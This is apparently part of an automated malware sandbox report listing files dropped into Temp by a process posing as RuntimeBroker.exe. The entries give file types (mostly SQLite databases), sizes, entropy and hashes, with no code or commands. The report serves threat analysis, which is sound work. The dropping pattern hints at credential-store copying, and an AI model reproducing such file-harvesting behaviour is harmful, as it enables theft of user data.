Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mLh1P6xIV2

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mMZkgTmARP

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mZ3QkUuFF7

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mxjuQYDPGE

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n25oaqSohB

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\neuITIIlu5

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\o0HsRArSct

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\o2DSdNXKHR

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\o2t85h4byh

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\o70V4fNhsq

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pFURldh246

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pQwxdsJJ9T

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pSLOLT81Kb

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\paWhPiS4LC

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\pdiuhGbqod

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\prIHCpZloC

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qBkZvij0zz

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qDmdmipuZa

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rIjviuZ44r

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rWJGPuhqSE

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\roDixjjLNa

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sIqI6FWlnG

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sJnSs7kULS

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\srdwhZSc9l

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\t2m8cLPD4y

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
